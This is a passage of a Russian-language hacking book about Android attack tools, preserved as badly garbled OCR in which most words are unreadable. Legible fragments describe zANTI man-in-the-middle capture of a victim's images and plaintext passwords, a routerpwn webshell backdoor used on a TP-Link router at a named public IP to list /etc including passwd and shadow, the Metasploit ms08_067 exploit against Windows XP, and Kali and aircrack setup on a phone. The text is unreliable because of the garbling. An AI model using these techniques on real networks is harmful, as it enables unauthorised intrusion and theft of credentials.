Hel MAC-aapeca MBI yXXe. YIIOMAHYJIH 9yTh panbine. Kak BKIIOYMTH COOCTBEHHBIH Be6-
cepeep (Memio HTTP Server), BB IIOCMOTpHTE CaMH, TIOTOMY YTO 3TO OYEHb [POCTO.
K cioBy: 3ta ¢yHKIMA BechMa MOJIE3HA JUIA XaKepa, Ha TaKOM cepBepe H MOXHO pa3Mec-
THTh (MIIMHTOBYIO CTpaHMuKy. Bcé ¢ coboit! M mocie sToro eme GyayT TOBOPUTH, YTO
nporpamma s TecrapoBanni! Ho BepHeMcs k riaBHOMy MeHIO. Ocobsle 06BACHEHMA
no ¢yuximu WiFi Monitor Taoke He TpeOyIoTCs, 371€Ch TOXE BCE TOHATHO: Mbi BHIHM
JaHHBIE TIO BCEM 6ﬂnrmex<ammw To9KaM aocryna (puc. 5.135).

HakoHer, MbI ﬁo,uormm K ABYM CaMbIM HHTePECHBIM q)ymcumM B [JIABHOM MEHIO B pa3-
nene Network Tasks. Haunem ¢ ¢ynxumm zTether (Tether Control). Tak kak HaGop
BO3MOYKHOCTE#M B MEHIO 3TOM ()yHKIIMH MOHOCTHIO aHAJIOTHYEH YK€ YACTHYHO PaccMOT-
PEHHBIM HaM¥ paHee JyIs aTak XocToB Main in the midle (cM. puc. 5.130), To ckpHHIIOT
npuBOIATH He OyzeM. TeM He MeHee, OyMyww moaKnIOYeHHBIMHA K cetr Wi-Fi monpobyem
3alyCTUTh aTaKy (Bepxmm nepexmodaresns B nonoxkenne ON, puc. 5.136), nomyynm
coo0mieHre, 4TO ClleqyeT OTKHOYMThCS B HacTpoikax cmaprdona ot cetn Wi-Fi
(puc. 5.137). Ilocne 3Toro cCHOBa BKJIIOYAEM aTtaKy U MOJy4aeM COOOLIEHHE O TOM, 9TO
HaM cliefyeT BKHOYNTh CMapTOH KaK TOUKY AOCTyNa (IMOCKOJIbKY Hall cMapT(OH yxe
HCTIONB30BAJICS paHee KakK TO4YKa HOCTYIa, T. €. OHa Y)K€ HaCTPOEHa, TO HaM MNPeUIOKEHO
BKJIIOUHTH €€ K uMetonieiica mo ymordanuio (3necr — Default)), puc. 5.138.

Bce ataku B 3TOM pasjieNie — i PeXHMa, KOrja Bail CMapThOH BEICTYNAET KaK TOUKa
Joctynia B HurepHer. Ha HameMm HMMIpOBH3HPOBAaHHOM CTEHAE TeMeph MOHAMIO-
6uTCH KOMITBIOTEP-)KEPTBA, NOMKTIOUCHHBIN K 3TOM TOYKe HocTymna. J[is 3TOro HORKIIo-
umMcs K Touke gocTyna Default ¢ HoyT6yka. Koe-Kakne HOCTYIHBIE aTakii paHee M
yKe H3ydaimm A1 XocToB B paszeiie Main in the Midle. Ilostomy ceiidac, 3aecek no-
CMOTPHM ellle He3HaKOMBIe HaM omuwH. C KOMIIBIOTEpa XKEPTBBI Gpay3epoM MpoBepUM
cBa3b ¢ MHTepHETOM, HampHMep, MOceTHM SIHIEKC M o6paTHM BHHMAaHME Ha KAPTHHKY
(puc. 5.139).

A ceiigac, 3aiia B menio Logged Images u yBunep Tam 3HaKOMYIO HaM KapTHHKY, I0-
HUMaeM, YTO JaHHas (QyHKIMs NpegHa3sHaueHa A MPOTOKOJIMPOBaHMS KapTHHOK CTpa-
HMLI, NTOCEIIaeMBIX C KOMITBIOTEpa->kepTBhI (puc. 5.140).
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ANTI

Avaitable Networks

Puc. 5.136

Tether cannot be used while WIF]
is enabied. Piease disable wifi and

connect to 3g.

Puc. 5.137

Puc. 5.135 Puc. 5.138
7& : vcwmnmpawuﬁa;ﬁma 4 WGiemBme k:&}.’L"—-Fi:“ﬂP—‘ N

Hosocty & Hopoonbupore & smvom, ofisina 5205
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2 flacaa CryIRoNe & ciopkal PuCong o dyTomy orTsedrH 683 aapnaaTsl
3. CitA seenst s & TpOTHE <l

4 GMA: 3 Eopena Hesiosd CIFORA 5T ABYXE IRCTORES0D
% Hapogwait apmecs SCCP Aes Qypss cocmaams SARORE © TARGIEBS COTTORNEN

Wypow UB: USD 4325 EUR 0881 Hedre A 42,46

flovc Kapres Blapuer ¢

Oupexc o
Hasiggron e0b. fogersakaed Renga Roves ¥ Dopaliyive Remew Spaysepy
Puc. 5.139

ANTI Logged Images

Puc. 5.140
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H sto eme He Bce! Tlocne moceinenus, He TpeOyromero SSL-coemuHeHws MpH ayTeH-
TAGHUKALMK KaKoro-1ubo (popyMa, MpH BXOXE B MEHIO Logged Requests (puc. 5.141)
BH,I[I/IM riepexBadeHHbIe TapoIy (puc. 5.142-5. 145),

U janee, NPENOCTABHB BaM IIAHC CAMHM J€JIaTh IH-ITepeCHBIé OTKpBITUS, U3y4as BO3-
MOXHOCTH TIPOTpaMMBI, KOTOpHIE MBI €Ille He pacCMOTpeNH, 3aBeplias. pacckas Ipo

Puc. 5.141

Puc. 5.142

ANTI httpi/...

G GMIT+0

Puc. 5.144 Puc. 5.145
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zANTI, He MOXeM He YHNOMSHYThH ele 00 OfHOH ee MpUMEYATETbHONM BO3MOXHOCTH,
MPHCYTCTBYIOINEH B rIIaBHOM MeHIO (cM. puc. 5.126): Routerpwn.com.

Kazanock GBI, 3TO MPOCTO CChUIKA, HO HA CaAMOM JieJie BHI IOMNajaeTe B pealbHo pabo-
TAONIyI0 JeHCTBYIOIMYI0 0a3y JaHHBIX 10 YS3BUMOCTSAM KOHKpeTHbIX mozeneii Wi-Fi-
poyTepoB (puc. 5.146).

A routerpwn.com

Lucent
Alpha-
Metworks Comtrend MiFi

Arris ink Motorola
Asma DD-WRT

Asus EasyBox

Category 2

t ' Puc. 5.146

BhIGpaB TpOM3BOAMTENA M 3Has KOHKDETHYIO MoJeNb, K npumepy — TP-Link
WR1043ND, Mel BunumM, 9to B 6a3e ecTh KK MHHMMYM TPH yS3BHMOCTH, KOTOpBIE IIO-
HOMIYT HMEHHO K 9TO# Mozenu poyrepa (puc. 5.147).
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Aerorn

BLENGE

Puc. 5.147

BOJIBLIMHCTBO YS3BHMOCTeH, YKa3aHHBIX B 9TOM Ga3e NaHHBIX, IPUMEHHMBI U3 BHYTPEH-
Heil ceTH, OTTy[a, Tle HaAXOOUTCS PoyTep, MO3TOMY MOCe IIeTdKa Mo BHIOpaHHOH ys3-
BHUMOCTH MO YMOJTYaHUWIO OHa cpabareiBaeT no ajgpecy 192.168.1.1. Ho, naxke Bo BHYyT-
PEHHE# ceTH QUeHb YacTo poyTep HaxoauTcs mo ajpecy 192.168.0.1, a ecnu araka mpo-
W3BOAMTCS CO CTOpOHBI MIHTEpHeTa, TO afpec Boobime MoxeT ObiTh MoObM. IToaToMy Ha
MHOTHX YKa3aHHBEIX B 6a3e ys3BMMOCTSX ecTh Takas ¢ynkims, kak SET IP, rae MoxHO
yka3ath moboii agpec (puc. 5.148).

Puc. 5.148

PaGoraer Bce npocto u 3¢ddexrrBHO (MpoBepeHo): mocie ykasanus IP-axpeca cpabatbl-
BA€T CLICHApUH, peaJM3yIOmuii ysa3BUMOCTh. 11 HEKOTOpPBIX THUNOB YS3BUMOCTEH 3a-
NpaIIUBAOTCS AONOJIHUTEbHbIE OIILHH.
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MEI ¢ BaMH IpoBeieM akcriepuMeHT Hax poyrepoM WR1043ND, pacronoxennsmM B UH-,
Teprete; Ho 9T06bI GbLIO MOHATHO, 9TO K HEMY MOXHO IIPHMEHHTE SKCIUIONTEI, HE TOJIb-
KO MOAXOJSANHE KOHKPETHO JUIA 3TOH MOZeNH (a 9yTh paHee MBL OTMedayH TpH Tarmx),g
HO M NOJXOJIAIIHe 1A Beero psaa Mopeneit TP-Link, BeiGepem mocieaHmil SKCIUIONT H3:
crmucka Ha puc. 5.147. TaKnM 00pagoM, HaM CTaHEeT NOHATHO, 9TO nonxomnmx 9KCILTOH-
TOB Jiake JUIA STOM MOJIE/M. HA CaMOM Jielie He TpH, a Gom,me 9eM Kaxcercx ‘Ha l'IepBBIIrII
B3I/ IPH 3HAKOMCTBE c 6a30n JRHHBIX Ha 3TOM caire. L

‘HWrak, B I/IHrepHe're ¥, Ha¢ 6CTb TIOMXOSIHiL poy'rep TP-Link ’@RI 043ND c 3aBonCcKO#
TIPOUTMBKO#, 1O anpeéy 46, 1'81 5.86. Tlprveniam k Hemy ckpunt Webshell backdgor. Jins
3TOrO IIENKHEM: II0 SET P, BBG,I[CM azgpec.46.181.5.86, nocne cpaGaTmBa}mx ‘ckpumTa

B noammemcx OKH' meM HM)I osteam u naponb ‘Sup, Ha)KMCM KHOIIKY PROC Mo

VmSize Stat. Command
1 rpot 368 5 ipit .
2 root . 5WH- {ksoftirgd/0}
3 root S®W< {events=/0}
4 root 5W< {khelpar}
5 raoot SW< [kthread?
9 root SW< [kklockd/0]
it 31 rdot 58 [pdfiusb}
32 root .. 58 {pdfiushj
34 root SW< {aio/0}
33 root S8 Ikswapdd} '
47 rcot 5K [mtdbiockd]
198 root 2572 3§ fasr/bin/hrepd N
281 root 348 5 /sbinfgetty ttySH 11526¢D
262 root 2572 S /asr/bin/hrrpd
203 root 2572 S /usr/binfhrepd
204 root 328 § usr/binfhttpd
211 root 296 S, syslogd C -1 7 R
214 root 264 8- klogd -
215 root 257z 5 /asr/oin/bttpd
365 root 324'S /sbin/andhopc -h TL-WR1043N -i ethl -p /tep/wr84in
366 raot i%Z R Ffapin/udhépc ~h TL-WR1043N -i ethi -p ftmp/wr84in
370 xroot - 324 S . /usr/sbin/udbcpd /tnp[wreﬂm'ndhapd conf
427 root 25872 8  fusr/bin/hripd
465 roct " 2572 S  fusr/binfhetpd
466 root 2572 S /fasr/bin/htepd
481 root 2572 § fasr/bin/httpd
608 root 2572 S  fusr/bin/btrpd
611 root 2572 S Juszr/bin/hrepd
613 root 2572 s fusr/bin/brepd
614 root 2572 8 /usr/bin/httpd
720 root 620 S° hostapd /tmpftopolagy.conf
723 root 2572 S fusr/bin/httpd
732 root 2572 S  /usr/bin/brtpd
772 root SW< fxhubd}

Puc. 5.149
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Tenepb Yy Bac ecTh 060m104Kkd*# BOSMOXKHOCTE MEPeAaBaTh KOMAH/IB], KOTOPble TOHUMAET
3Ta OllepatHOHHAs cncrema BBOI[PIM kxomaHy B nojie Command ¥ Ha)KUMaeM KHOIIKY
SEND. Psizt KOMaHI MOYHO 33/{aBaTh, BEIGPAB COOTBETCTBYIOINYIO KHOMKY. [l mpAMepa
BBINTOJTHAM T1apy 6e300MIHBIX KOMAH/: cd /etc U 1s, (pUC. 5.150):

F cd !étc

$ 1=

jath initteb passwd aamba ' wWian
fatabh - i=aue jajejed securetty wpaZ
dgroup . ild2d.conf re.d services wrS4in.ico
{hast. ccnf n3switch.conf reaciv.conf shadow

§ ) .

Puc. 5.150 . Ry
IMonstHO, 7io Xakep B TaKOM Cilydae IPMMEHHT Jajieko HeGe300Hubie KoManabl. Met
Ke C BaMit, IIOCKOJIBKy 310 poyTep POJICTBEHHHKOB ABTOPA, Ha 3TOM OCTAHOBUMCS.

He caydaiino, pacckasbiBas B 2nase 4 0 npUMEHEHHH IPOrPaMMBEIL. CommVlew for WiFi,
MBI HCTOJIB30BAIA TaKHe HACTPOHMKH, YTOOBI B 3HAYCHHMH TIepeXBaTHBACMEIX MAC-
aJpecoB TMPOCTABILUIMCH COOTBETCTBYIOINME HAMMEHOBAHW BeH,uopos a He mHUdpEHL
Tenepp, 1ocie BHIENPHBEICHHOTO NPUMEPA,. Bl TIOHMMACTE, YTO HAUMECHOBAHHE IIPO-
U3BOJUTE)I — 3TO OY€Hb Ba)KHas: mubopmamm I xakepa. Ho 3To ke W BakHas WH-
(bopMamm I HACTPAMBAIOMIErO POYTEp CIELMANHCTA ¢ LIE/IBI0 NOBLIIICHHS YPOBHS €0
(poyTepa) 3aIIUTHI: HACTPOMKH MHOTHMX YCTPOMHCTB no3posiioT MerATe MAC ‘Ha mpous-
BOJIHOE 3HaYEHHe, a 3TO HE YTO UHOE, KAk HalpaBJieHUe Bpara Ha TIOXKHBIH TyTb.

Ho Bce e B epBYyIo ouepeh HATEpeC K 3Toi mporpaMme BEI3BaH y HAC BO3MOYKHOCTBIO
pabote1 ¢ Metasploit Framework. Y BOT TyT IPOMCXOTHT YTO-TO HetoHsATHOE. OHUeHs Tio-
XOJKe€, 9TO°HAC MOCTENEHHO MOIBONAT K TOMY, 9TO 5Ta BO3MOXHOCTb PAHO HUTH HO3/HO
Oyner mwiatHoit! CHTyaimis y paspaGoT4rKoB MeHseTcs GecrpepbiBHO. TpyaHO POrHO-
3MpOBATh, 9TO Gy/ET TIPOMCXOIUTh B TOT MOMEHT, KOT/Ia BEI 3aiMETECh 3THM. BOPOCOM.
Ho ecym Bce ke k BaM nomazer Bepcus ¢ 6a3oii Metasploit Framework, To BBITISAETH 3TO
MeHIO OyieT mpuMepHO Tak, Kak HoKa3zaHo Ha puc. 5.151.

~

Puc. 5151 E

IIpu BXozme B MéHIO cxaqaercx U YCTaHOBUTCSH Tpe6yeMax Ga3a 9KCILIOHTOB (pnc 5: 152 U
5.153).

Ecmi npuMeHUTh HEOAHOKPATHO HbOTeCTHpOBaHHL[ﬁ HaMH émcnhoﬁT (puc. 5.154, 5.155)
K CTeHIOBOMY XocTy ¢ "mpipsiBoii" Windows XP, 3aMeTrAM, 9TO HACTPOSHHBIE H OTKPHI-

THI€ CECCHU.MIOABATCS B MeHIO (puC. 5.156 1 5.157).



178 - . _ naea 5

§ Zetasploit - Cloud based exploits

Fetching expieit data

Puc. 5.152

ANTI

ms08 067 neiapi

Remote Port

Puc. 5.155
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sord complexity audit

Puc. 5.156 " Puc. 5.157

Y, HakoHel, 3aKaHuMBas pasroBop.o mporpamme zZANTI (4 MBI pacckasaiu Jaeko He
000 Bcex ee BO3MOXHOCTSX), OTMETUM, YTO €CJIM IPH KOPPEKTHOM BBIXOJE U3 IPOrpam-
MBI OHa [IOJTHOCTHIO He OCBOGOKIAeT Bce pecypehl cMapThoHa, peKOMEHIyeM, UCTIONb3Y s
HACTPOVKHU. IpriIoxkeHuii (Bbi6pas rpymy PaGoraomme) B camMoM cMaproHe, pous-
BOJMTE 3aKPHITHE IPOrpaMMEI Bpy4HyIO (cM. puc. 5.157). ‘

OGpatuM BHHMaHHe, YTO MHOTHE IPOrpaMMbl, IIPUMEHseMBIe XaKepaMu, B TOM UHCIIe
paccmotpennbie Hamu dSploit u ZANTI, TpeGytot, 4To6E Ha cMapTdoHe Gbuta 06s3a-
TeNTbHO ycTaHoBleHa BusuBox Free, koTopas momoraer um 6GoJiee NMOJHOLEHHO HCIIOJb-
30BaTh root-pasa Ha cMapt¢oHe (puc. 5.158).

Hamnocnenok, 3akaH4uBass 0030p MpOrpaMM € KCHONB30BaHMEM root-IpaB, HeNb3s He
YINOMSHYTh O TOM, YTO B MPUHIIMIE Ha CMapTHOH MOKHO ITOCTABHUTH AKE Ty WIH HHYIO
BepcHio Linux (a B KOHTEKCTe CKa3aHHOro paHee Hac Oonee Bcero. uHTepecyetr Kali
Linux). 310 HocTaTodHo jerko cpaenarb, UcHoie3ys nporpammy Complete Linux
Installer, xoropas mus pabGoThl ¢ Linux B TepMUHATPHOM' pexxuMe NoTpebyeT Haluuue
COOTBETCTBYIOIIEH TEepMHHAIBHOM NpOrpaMMmsbl, a il paboTel B rpaduyeckoM pexH-
Me — niporpammy androidVNC (puc. 5.159).

daxTHyeCKH; Corﬁplete Linux Installer conep>xuT MHCTPYKIIMH ¥ CCHUIKHM Ha CKaYMBaHHE
Heobxomumoro BaM oOpa3a Linux u ero yctaHoBky (puc. 5.160 u 5.161).
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Puc. 5.160 Puc. 5.161
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Tporpamma androidVNC we oGs3aTensHa, T. K. GOIBIIMHCTBO YTHIAT, KOTOPHIE [IOHA0-
64Tcs, paboOTalOT B pekuMe KOMaHIHOHM cTpoku. [l paGoTsl B TEpPMHUHATIEHOM pPexXuMe
MOXXHO HCIIOB30BaTh HOOYIO U3 MpeiaraeMbix B penosutopun Play Mapkera.

Pa6oTa ¢ Linux yepe3 TepMUHATBEHOE OKHO IIPOJIEMOHCTPHPOBAHA Ha PHC. 5.162.

’

oo s 0= alor i

rooct@localhost:
root@localhost:
root@localhost:
root@localhost

root@localhost: /
root@localhost:
root@localhost:
jroot@localhost:
froct@localhost:
root@lccalhost:
droot@localhost: /#

Puc.5462

-

B cBa3u ¢ Tem, uto Complete Linux Installer conepxur neranbHbie MHHCTPYKIMH, 31€Ch
Ha 3TOM IOAPOGHO OCTaHABIMBaThCA He GymeM. OTMETHM TOMBKO, YTO TIPH CKAYMBAHMM
o6paza Linux mocpescTBoM 5Toi porpaMMbl MOJKET BBI3BATh 3aTPyHEHHS TO, YTO (aii-
MBI MMEIOT GOJBIIOM pa3Mep, a HaMsATh Bamero "aHapouna" orpaHmueHa. IlosTomy
caMBlii IPOCTOM croco6 — eciu BH Gynere ckaumBaTh 00pashl HE Ha cMapToHe, a Ha
BalleM KOMIIBIOTEpPE, a MOTOM IepeHeceTe pacliakoBaHHBIN oOpa3 Ha SD-kapry B Tpe-
OyeMylo manky (Ha3BaHWe TIAIIKH MpenjiaraeTcs B IIQJICKasxax Complete Linux Installer,
HO €r0 MOXKHO 3a/[aTh, MCIIOIB3YsS HACTPOMKH, caMocTosTensHo). IIpu BeIGope o6pasa
HY)KHO TaloKe [MOHMMATh, 4To (haiiioBas cucteMa Ha SD-KapTe MOXKET UMETh OrpaHuye-
HHMsA Ha MaKCHMaJIbHBIN pa3mep ¢aitna (i Fat32 — 4 I'aiir.) ITosToMy, kak mpaBuio,
B TaKHX CJIy4asx BHIOMparoT 6a30BbIi BapHaHT oOpa3a HauMeHsImero ooreMa (puc. 5.163).
ITpun HeOoOXOAMMOCTH OTCYTCTBYIOINWE KOMITOHEHTHI NOYycCTaHaBiHBalOoT W3 HHTepHeTa
cpencreamu caMoro Linux. B Play Mapkere ects yrunutsl, mogaepxusatomue NTFS, Ho
He ¢akT, yro oHM cpabortarotr. Hekoropble cMapTdOHBI MOANEPIKUBAIOT (PAMIOBYIO CHC-
teMy eXFAT; Takxke cripapisontyrocs ¢ ¢aitiaMu G0JBIIHNX pa3MepOB. .
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E kalifns FULL 81420431031 4omerd 20131304
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034017

Puc. 5.163

B kavectBe amprepHatuBel Complete Linux In_stailer paccMOTpUM mporpamMMmy Linux
Deploy u B cBa3ke ¢ Heii ;i 3amycka rpadudeckoro uaTepdetica — VNC Viewer
(puc. 5.164).

Linux Deploy  VNC Viewer

‘Puc. 5.164

Ilpu nepeoM 3amycke mporpammsl Linux Deploy B pa3nene Setting BriGepem onumro
Language M yCTaHOBHM pycCKui sA3bIK. [laniee B pasziene YCTaHOBKH BeiOepem Jluct-
pubyras — Kali Linux u apyrue napamerpei, Haubojiee BaXHbIE U3 KOTOPHIX OTMEUEHEI
Ha pHc. 5.165. '

U Bce ke HauboJIEe BAXHBIM SABIIAETCS napamerp ommu IlyTs ycTanomm' Ouens cy-
IIECTBEHHO, YTOOH He 6BUTO OmuGKH B MyTH. FIMEHHO TyJa NpH yCTAHOBKE CKavaeTcs u
pasBepHeTcs dpaiin pasmepom 4 FGaiit (31ech — linux.img), KOTOpHIiA ABIsETCA 06PasOM
Toro Linux,  KOTOPBIH 65u1 ykazad B omumu Jucerpudyrus (y Hac 310 Kali Linux).

. Xors B Komi)m*ypamm OTMeYeHa, Kak BaxHas, onuusi Oxpyxenane pa6ouero cTo.rla, HO
B npmnmme KaK YK€ yIOMHHAIOCh paHee 3TO HE COBCEM Tak. TeM He MeHee, Ul JIO-
Oureneit "OKOHHOrO NpeACTaBleHUs" MHGOPMALMK 1109eMY-TO GBIBAET OYEHb CYINECT-
BEeHHO, 4To BbIOpaTh — KDE, Gnom mimm KaKyro-To JpyTyio pasnonymﬂocn OKpY>KEHHS.

Kornia Bce TIapaMeTpHI BHIGPAHEL, OCTAETCS TONBKO HAKATD HA BEPXHIOK CTPOUKY 3TOrO
pasznena — YcTaHOBHTD. Jlenaercs npu HAIMYMK NoAKoYeHHs k MHTepHeTy mocpen-
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BBRE

HOBKH ‘\\\

e

Puc. 5.165

crBoM Wi-Fi (T. e. ¢ memmeBbiM MHTEpHETOM M Ha JOCTATOYHOM CKOPOCTH). YCTaHOBKa
MOXET 3aHATH J0 IBYX 4acoB. O 3aBepLIeHNH YCTaHOBKH MporpaMma coodomur. Ocraercs
tonbko Haxats kHonky CTAPT (puc. 5.166).

ITporpaMmma moO3BONSET CO3MABaTh pasuyHble NPOGWIM 11 KOHOUIYpHUPOBAHHA H
3amycka Linux. 3To MOXHO cenarb, HakaB Ha M300pakeHHe NMUHTBHHA BBEPXY Cli€Ba
(cM. puc. 5.166). B namem npumepe npodunb Hassal kAli. Urak, nocie Toro kak Gyzmer
naH ctapt, 3amyckaeM VNC Viewer. HokumaeM Ha u3o6paxxenue 6oibImoro ¢cMMBona +,
yTOOBI CO3/1aTh HOBOE coeauHenue, B rone Address BBoauM localhost, Name — ymo6oe
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ums (y Hac Kali), otmeuaem duiaxok Save Password (3anoMHHUTE napois), puc. 5.167.
TIpu aBTOpH3ALMH CHCTEMa 3aIPOCHT Mapoik (PHC. 5.1 68), ¥ HyXHO BBECTH changeme.’
B pesynbrare 3arpysumMces B Kali Linux (puc. 5. 169).

Puc. 5.166

-

lqca!hus_t g T
o _M,fj.__mw,,,,_,,,__. : Aﬁ%ﬁ&ﬁ?é&éiéﬁ

Kalif ’ Aty :

Save Passw&d; | # Password -

. E Caneel
[ g |
Puc. 5.167 Puc. 5.168

Eciu Hac He ycTpaMBalOT mapaMeTphl: pasMephl OKH4, OKPY)XXEHHE, YTO-TO €II€, MBI
BCErJ]a CMOXKEM BBICTaBUTH Ipyrue mapamerpsl B MeHio ITapamerpsr Linux Deploy
(cMm. puc. 5.165). Hanprmep, pasmMep okHa MOXKHO yka3aTh B paszeiie Tlapamerpsi GUIL
ITocne w3MeHeHuit HyxxHO BbIOpaTh IlepexoB¢HrypmpoBaTh U 3aHOBO CTapTOBaTh
Linux (CTOIIL, 3arem CTAPT).
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Puc. 5.169 ;

YT0GE!I OHATH, YTO BCE HOPMAIBHO pa66Taer U B rpadMuecKOM .OKpYKEHHH (@ MBI C Ba-’
Mu paHee yxe paboramu B Kali Linux mMeHHO B rpagudeckoM OKpY>KEHMH), BEIOEpeM
Applcation | System u npuBsraHbiii Ham Terminal (puc. 5.170).

EOTTETEET

s o s P — - R— e P ’

Wallet Managament Tool

Applications

Puc. 5.170

B TepMuHanbHON ceccum, paboTaromeif ¢ paBaMH root, i IPOGE MOXHO 1aTh Cle-
IYIOImye KOMaH/IbI:

apt-get install aircrack-ng
apt-get install ethtools
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apt-get install usbutils
apt-get install pciutils

Ms! yBuauM, Kak 13 IHTepHETa yCTaHABIMBAKOTCS IPOrPAMMBI, KOTOPBIE OTCYTCTBOBAIIH
npy pa3BopaurBaHuyu obpasa. Takum o6pazoM, MOXET OBITH yCTaHOBIIEH OGO HemoC-
Talomui Ham UHCTpyMeHT u3 Habopa Kali Linux.

Eciu 65114 pOZieNaHbl BCE YETHIPE BHILIEYKa3aHHbIE KOMAHIBI 110 YCTAHOBKE, TO MOXKHO
nonpo6oBaTh KOMaHIy, KOTOPYIO- paHbIIe MBI NIPUMEHIA (CM. 2naey.4) Ijd mepeBoja
Wi-Fi-kapTsl B pe>kMM MOHHTOpA:

airmon-ng start wlan0O

Cxopee Beero (32 peaKiM BO3MOXKHBIM HCKIIOYeHueM), GyeT NoNydeHo coobiieHk e, KaK
Ha puc. 5.171. ’

Puc. 5.171

Ecnu 661 HaMm ynanock miepesectd Wi-Fi-kapTy B pexxuM MOHHMTOpa, T0 66110 GBI 3aMaH-
YMBO, UCIMONB3Yy:A CMapTPOH B MOXOAHBIX YCIOBHSX, JOBHTH makeThl cereit Wi-Fi ¢ mo-
MOIIBIO U3BECTHOM HaM yTuiuTHl airodump-ng. U manee, yxe B cTarjioHape; ¢ IOMOILBIO
Elcomsoft Wireless Security Auditor, ucrons3ys MOIHOCTH GOIBINOro KOMITBIOTEpA, a
Takoke rpaduyecKuX aqanTepoB, 3aBepIIUTH NPOLECC pacIuPPOBKH (cm. 21asy 4). -

Ho npeno B ToM, 4TO MpaKkTHYECKH Ha BCeX MOAEIAX cMapT(OHOB, 3a PEIKUM HCKITIOUe-
HUeM, ApaiiBephbl CETEBBIX KapT HMEIOT COOTBETCTBYIOIIUE OTPAaHHYCHHA.

Kcraty, nockoneky Android — 310 dakrudecku ToT ke Linux (npaBaa, cwibHO "oOpe-
3aHHBIN'"), MBI MOTJIH OBl IOYCTaHOBHTH HY)KHBIE HaM YTWIUTHI aircrack-ng u Zip. mpsaMo B
onepauyoHHYI0 cucteMy Android, nake He ycTaHaBIHMBas crieLuanabHO s 3toro Kali
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Linux. ¥ B noxaemsmomemM Gonbmnﬂcme CJfydJaeB Mbl BCe PaBHO MOMy4IIH OBl OTpHLIa-
TeIBHBII pe3y/bTar.

ITosToMy, eciii BBI BCe ke, BOTIDEKH BceMy, OyzmeTe ioMaTh cBO# cMapTdoH, MPOBOAUTE
pa3IMgHbIe IKCIIEPHUMEHTH], TO NpejiaraeM B KadecTBE JOMAUIHEro 3ajJaHMs Nompo6o-
BaTh CaMOCTOSTENFHO pa300parbcsl ¢ MOCTaBIeHHOM 3ajmadeil Tak, 9TOOBI NPOMAaT4YUThH
IpaiiBeps! Bamiero cMapT¢goHa u 3acTaBuTh Wi-Fi-kapTy nepexonuTs B pe)¥M MOHHTO-
pa. 910 Oynet unTepecHo. Haunure pa3éupathes ¢ mpoblieMoit co CTaThH IO CIEMYIOMECH
CCBUIKE:

http://www.aircrack-ng.org/doku.php?id=install_drivers

Pa36epenecb BHI HUIA HeT ¢ 3amyckoM Wi-Fi-KapTsl B pexnMe MOHHMTOpa — 3TO He TaK
cymecrserso. Ho, moapozs uTor TOMy, 9TO MBI ¢ BAMM HAyHIHCh yCTAHABIHBATH Linux
Ha cMapTdoH, 3aMEeTHM, ITO €CThb OJIUH OYeHb BXHBIH MOMEHT B TOM,; KaKylO OCHOBHYIO
Lesb MBI [IPH TOM TipeciefioBany. Jlesio B TOM, 9T0 ceHuac BBl (paKTHIECKH IOy HIH
OCHOBY JUlsl OPTaHM3aIMK AOCTATOYHO MOLYHOR Tepe/IBEKHOM - KOMITBIOTEPHO#H 1abopa-
TopuM Ha Gaze cMaprdona. Y ecimi BeI, K IPAMEPY, HE HAMETE IOAXOAAIIEH BEPCHU TOH
xe ZANTI, Bxmogaromeii Metasploit Framework, To Teniepb BBI 3aIIpocTo CHaGUTe 3THM
cBo#i cMapT¢oH, BCETo JIMIIb YCTAHOBHMB yKa3aHHBIH npoAykT Ha Kali Linux (4 3To Gyzaer
elle OJHMM BalIMM JOMAIIHUM 3aIaHHeM). A HaYaTbHEIM MOMEHTaM, KaK MOJI30BaThCA
Metasploit Framework moz Linux, Mer Bac yxe 00y4miid HEMHOTO paHbIIE.

. . 1
B kauectBe TMIOACKA3KA: UHCTPYKIHIO IO YCTaHOBKE BbI MOXKCTC NPpAMEHUTH, HANIPpUMED,
CKa4YaB €€ ¢ 3Toro aapeca:

https://community.rapid7.com/docs/DOC-2100

M1 ¢ BamMH yxxe MEOroMY Hay4HIHCh. IT03TOMy BEI OIDKHEI ORUIM JOTafIaThCs CAMH, YTO
TOMyYHTh JOCTYI K Linux, yCTaHOBIEHHOMY Ha: CMapT(oHe, C AOMALIHero KOMITEIOTEpa
(HanpuMep, ¢ onepaHoHHOM cucTemoii Windows), MOXKHO: Takke HOCPEACTBOM JHOGOM
TOCTYIHOM st GecIuiaTHOro Mcnons3oBanus nporpamMmsi w3 Marepaera VNC Viewer.
3T0 0cOGEHHO IOJIE3HO TOMY, Y KOTO cliaGoe 3peHue H TOJCThIE NANBIEL. YCTaHaBIUBATh
IIPOrpaMMBbi, HPOBOXMTH TOATOTOBHTENLHEE PaboTH Ha cMapThoHE C MPUMEHEHHEM
CTaIMOHApHOro KoMiIbIoTepa ¢ Gonbmioii KiiaBHaTypoii ropa3no yxobuee. Ha puc. 5.172
u 5.173 mokasaH mpouecc. mHCTaUAUMA Metasploit Framework, mpomcxozpsmmi Ha
CcMapT(OHE, HO 3aIlyCKaeMbiii i KOHTPOIMPYEMBIi HAMH CO CTAIMOHAPHONO KOMITHIOTEPA.
Jns coempmeris co cMapTdoHoM ¢ mpumeneHHeM VNC Viewer Hy>XHO TOJNBKO 3HATH
€ro TpaBHIBHBIN IP-anpec (puc. 5.174) B noMammHei CeTH, a BEITHCIATH €ro BEL yXKe

ymeere.

Tak e B KadecTBe NOMANIHErO 3aJaHHi Mo)keTe mompoOoBaTh opraHmsoBare SSH-
COeMHEeHHe cO CMapTHOHOM C YCTaHOBIIEHHBIM Linux. Jist 3T0r0 MOXHO MCIIONE30BaTh
y:xke 3HakoMylo JuiceSSH. A eme nque s pasnooﬁpaaml MIpUMEHUTE IPOrpaMMy
ConnectBot (puc. 5.175).

CuHTaKCHC anpeca A coeMHeHus GymeT Takoii: root@127.0.0.1:22, moToMy 9T0 mpo-
rpamMMa 3amyleHa ¢ Toro ke Xocra (cMaptdoH), Ha KOTOpoM YycTaHOBJIEH - Linux
(puc. 5.176). PaboTats Takoe coequHeHue Oyaer, eci Mpu ycTaHoBKe Linux B HacTpoii-
kax Linux Deploy B paznene SSH 6511 yka3an napamerp Paspemnts 3amyck SSH cep-
Bepa (cM. puc. 5.165), WiH BB €ro CTapTyere Bpy4YHYIO.
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Puc. 5.172
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aircrack-ng

metasplsit framawork

»

Puc. 5.173

Puc. 5174

ConnectBot

Puc. 5175 " Puc.5.176
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ITpomormkas pa3rosop mpo codt mis cMapTdoHOB U ciabo HaJIeACh, UTO BEI HMKOT/Ia He
CTaHeTe NPAMEHSTH MPOrPaMMBI U3 HEOPUIMAIBHBIX HCTOYHHUKOB M He GyaeTe BHOCHTH
